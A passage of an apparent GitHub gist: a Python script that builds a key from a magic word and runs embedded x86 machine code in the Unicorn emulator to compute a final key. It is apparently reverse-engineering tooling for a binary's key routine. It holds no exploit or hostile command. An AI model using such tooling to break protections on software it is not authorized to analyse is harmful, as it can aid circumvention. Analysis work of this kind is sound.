2\xB0\x01\x00\x00\x8B\x9A\xB8\x01\x00\x00\x8B\x8A\xBC\x01\x00\x00\x8B\xB2\xB4\x01\x00\x00\x89\x4D\x08\x33\xCE\xF7\xD0\x8B\xF8\x23\xFB\x33\xF9\x89\x4D\xF4\x8B\xF7\x33\xF3\x23\xB2\xB4\x01\x00\x00\x8B\xC8\x0B\x45\x08\x33\xCB\x33\x45\xF4\x8B\xDE\x0B\x75\x08\x33\xD9\x0B\xCF\x23\xCE\x33\x8A\xB0\x01\x00\x00\x89\xBA\xB0\x01\x00\x00\x33\xC1\x8B\xF3\x33\xC6\x89\x82\xB4\x01\x00\x00\x89\x8A\xB8\x01\x00\x00\x89\xB2\xBC\x01\x00\x00\x8B\x9A\xCC\x01\x00\x00\x8B\xBA\xC0\x01\x00\x00\x8B\xB2\xC4\x01\x00\x00\x8B\x8A\xC8\x01\x00\x00\x8B\xC3\x33\xC7\x89\x45\x08\x8B\xC3\xF7\xD1\x33\xC6\x23\xF7\x33\xF1\x0B\x8A\xC4\x01\x00\x00\x33\xF0\x89\x4D\x0C\x8B\xF8\x33\xBA\xC0\x01\x00\x00\x8B\xCE\x0B\xCB\x23\xF9\x33\x7D\x0C\x8B\xCF\x33\xCB\x8B\x5D\x08\x33\x8A\xC8\x01\x00\x00\x0B\xDE\x33\xD9\x0B\x45\x08\x33\x5D\x0C\x33\xC1\x89\x9A\xC0\x01\x00\x00\x89\xBA\xC4\x01\x00\x00\x89\xB2\xC8\x01\x00\x00\x89\x82\xCC\x01\x00\x00\x8B\x8A\xD4\x01\x00\x00\x8B\x82\xDC\x01\x00\x00\x8B\xBA\xD8\x01\x00\x00\x8B\x9A\xD0\x01\x00\x00\x8B\xF0\x33\xF1\x0B\xC3\x89\x75\x08\x8B\xF7\x33\xF1\x89\x45\xFC\x89\x4D\x0C\x33\xCB\x8B\x5D\x08\x8B\xFE\x33\xF8\x8B\xC1\x23\x82\xD8\x01\x00\x00\x23\x4D\x08\xF7\xD3\x0B\xC3\x8B\x9A\xD0\x01\x00\x00\x0B\xF3\x33\xC6\x89\x82\xD0\x01\x00\x00\x33\xC8\x33\xCF\x33\xCB\x0B\xC1\x23\x45\xFC\x89\x8A\xD4\x01\x00\x00\x33\x45\x0C\x89\x82\xD8\x01\x00\x00\x89\xBA\xDC\x01\x00\x00\x8B\x82\xE8\x01\x00\x00\x8B\x8A\xE4\x01\x00\x00\x8B\x9A\xEC\x01\x00\x00\x8B\xBA\xE0\x01\x00\x00\x8B\xF0\x33\xC1\x89\x45\x08\xF7\xD6\x89\x75\xF4\x0B\xF1\x8B\xC6\x33\xC3\x23\xB2\xEC\x01\x00\x00\x8B\xC8\x0B\x45\xF4\x23\xCF\x8B\xF9\x33\x7D\x08\x89\x7D\x0C\x8B\xF9\x33\xBA\xE4\x01\x00\x00\x0B\x7D\x08\x33\xFB\x33\xBA\xE0\x01\x00\x00\x33\xCF\x8B\xD9\x23\x5D\x0C\x33\xC1\x33\xDE\x33\xC3\x89\x82\xE0\x01\x00\x00\x8B\x45\x0C\x89\xBA\xE4\x01\x00\x00\x89\x9A\xE8\x01\x00\x00\x89\x82\xEC\x01\x00\x00\x8B\xBA\xF0\x01\x00\x00\x8B\x9A\xF4\x01\x00\x00\x8B\xB2\xF8\x01\x00\x00\x8B\x82\xFC\x01\x00\x00\x89\x7D\x0C\x8B\xCE\x33\xCF\x8B\xFE\x33\xFB\x0B\xF3\x89\x4D\xF4\x33\xC8\x89\x7D\xF8\xF7\xD7\x89\x7D\xFC\x89\x75\x08\x8B\xF8\x23\x45\x0C\x0B\xFB\x33\x45\xFC\x8B\xF1\x23\x75\x08\x33\x4D\xFC\x33\xF7\x8B\x7D\x08\x23\x7D\xF4\x8B\xDF\x33\x7D\xF8\x23\xDE\x33\xD9\x89\x9A\xF0\x01\x00\x00\x89\x82\xF4\x01\x00\x00\x0B\xFE\x33\xF9\x89\xBA\xF8\x01\x00\x00\x89\xB2\xFC\x01\x00\x00\x8B\x9A\x0C\x02\x00\x00\x8B\x8A\x00\x02\x00\x00\x8B\xB2\x04\x02\x00\x00\x8B\xF9\x89\x75\x0C\x33\xF1\x8B\xC3\x33\xC1\x0B\xC6\xF7\xD7\x33\xC7\x33\x82\x08\x02\x00\x00\x8B\xCB\xF7\xD1\x89\x4D\xF4\x23\xC8\x33\xCE\x8B\xF0\x0B\xB2\x08\x02\x00\x00\x89\x5D\x08\x8B\xD9\x0B\x5D\x0C\x89\x82\x00\x02\x00\x00\x89\x8A\x04\x02\x00\x00\x0B\x4D\x08\x33\xF3\x33\x75\xF4\x0B\xC6\x33\xC1\x33\xC7\x89\x82\x08\x02\x00\x00\x89\xB2\x0C\x02\x00\x00\x8B\x82\x10\x02\x00\x00\x8B\x9A\x14\x02\x00\x00\x8B\xB2\x1C\x02\x00\x00\x33\xF0\x8B\xCB\x33\xC8\x89\x45\x0C\x89\x4D\xF4\x0B\xCE\xF7\xD0\x33\xC8\x33\x8A\x18\x02\x00\x00\x8B\xC1\xF7\xD0\x8B\xF8\x0B\xFB\x89\x7D\x08\x33\xFE\x0B\x45\x0C\x89\x8A\x10\x02\x00\x00\x8B\xF7\x33\xF3\x23\x75\x08\x8B\xD9\x23\x5D\x0C\x33\xF3\x8B\xCE\x23\xCF\x33\xC1\x33\x45\xF4\x89\x82\x14\x02\x00\x00\x89\xB2\x18\x02\x00\x00\x89\xBA\x1C\x02\x00\x00\x8B\x9A\x20\x02\x00\x00\x8B\x8A\x2C\x02\x00\x00\x8B\x82\x24\x02\x00\x00\x8B\xB2\x28\x02\x00\x00\x23\xC3\x89\x75\x0C\x33\xF3\x8B\xF9\x0B\xFB\x23\xF7\x89\x45\x08\x0B\x45\x0C\x23\xCB\x8B\x9A\x24\x02\x00\x00\x33\xC6\x33\x82\x2C\x02\x00\x00\x0B\xCB\x33\xCE\x33\xC3\x8B\xF7\x23\xF0\x33\x75\x08\x33\x75\x0C\x8B\xDE\xF7\xD3\x23\xD9\x33\x5D\x08\x33\xDF\x89\x9A\x20\x02\x00\x00\x89\x8A\x24\x02\x00\x00\x5F\x89\xB2\x28\x02\x00\x00\x5E\x89\x82\x2C\x02\x00\x00\x5B\xC9\xC2\x08\x00"
def _round(v):
v = (v * 0x19660D) & 0xFFFFFFFF
v = (v + 0x3C6EF35F) & 0xFFFFFFFF
r = v & 0x0000FFFF
return v, r
def _rol(num, count):
buf = deque()
for digit in bin(num)[2:]:
buf.append(int(digit))
if len(buf) < 32:
for i in range(0, 32 - len(buf)):
buf.appendleft(0x00)
buf.rotate(-count)
out = 0
for bit in buf:
out = (out << 1) | bit
return out
def _generate_pre_key(magic_word):
key_buffer = bytearray()
get_dword_at = lambda i: key_buffer[i] | (key_buffer[i+1] << 8) | (key_buffer[i+2] << 16) | (key_buffer[i+3] << 24)
# init buffer
for i in range(0, len(magic_word)):
key_buffer.append(ord(magic_word[i]))
key_buffer.append(0x01)
for i in range(0,15):
key_buffer.append(0x00)
# compute the key
index = 0x14
counter = 0
for i in range(0, 0x84):
# step 1
d1 = get_dword_at(index - 0x14)
d2 = get_dword_at(index - 0x08)
v1 = d1 ^ d2
# step 2
d3 = get_dword_at(index + 0x8)
v2 = v1 ^ d3
# step 3
d4 = get_dword_at(index)
v3 = v2 ^ d4
v3 = v3 ^ counter
counter += 1
v4 = v3 ^ 0x9E3779B9
v5 = _rol(v4, 0x0b)
index += 4
key_buffer.append(0x00)
key_buffer.append(0x00)
key_buffer.append(0x00)
key_buffer.append(0x00)
# write at index + 8
b1 = v5 & 0x000000FF
b2 = ((v5 & 0x0000FF00) >> 8) & 0xFF
b3 = ((v5 & 0x00FF0000) >> 16) & 0xFF
b4 = ((v5 & 0xFF000000) >> 24) & 0xFF
key_buffer[index+8] = b1
key_buffer[index+9] = b2
key_buffer[index+10] = b3
key_buffer[index+11] = b4
for i in range(0,16):
key_buffer.append(0x00)
return key_buffer
def _init_engine(pre_key):
# Initialize emulator
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
CODE_SIZE = 2 * 1024 * 1024
mu.mem_map(CODE_BASE, CODE_SIZE)
mu.mem_write(CODE_BASE, code)
# set-up stack memory
STACK_SIZE = 2 * 1024 * 1024
STACK_BASE = 0x7FFF0000
mu.mem_map(STACK_BASE, STACK_SIZE)
mu.reg_write(X86_REG_EBP, STACK_BASE + 0x1000)
mu.reg_write(X86_REG_ESP, STACK_BASE + 0x100)
# Map the pre-key value
KEY_MEM_SIZE = 2 * 1024 * 1024
mu.mem_map(KEY_MEM_BASE, KEY_MEM_SIZE)
mu.mem_write(KEY_MEM_ADDR, pre_key)
mu.reg_write(X86_REG_EDX, KEY_MEM_ADDR)
return mu
def _capstone_disas(mem, addr):
md = Cs(CS_ARCH_X86, CS_MODE_32)
return '\n'.join([
'0x%x:\t%s\t%s' % (i.address, i.mnemonic, i.op_str)
for i in md.disasm(str(mem), addr)
])
def _print_dis(self, addr, size, user_data):
global mu
mem = mu.mem_read(addr, size)
sb = ""
for i in mem:
sb += " %02x" %i
print("{0:20} {1}".format(sb, _capstone_disas(mem, addr)))
# write machine code to be emulated to memory
if __name__ == '__main__':
try:
if len(sys.argv) > 2:
ascii_key = sys.argv[1]
else:
ascii_key = '87694321POIRYTRI'
# execute the code
pre_key = _generate_pre_key(ascii_key)
mu = _init_engine(str(pre_key))
# debug routine, disassemble all executed instructions
#mu.hook_add(UC_HOOK_CODE, _print_dis)
mu.emu_start(CODE_BASE, 0)
# finally read the effective key
encrypted_result = mu.mem_read(KEY_MEM_ADDR, len(pre_key))
final_key = encrypted_result
print(''.join('\\x{:02x}'.format(x) for x in final_key))
except UcError as e:
print("ERROR: %s" % e)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment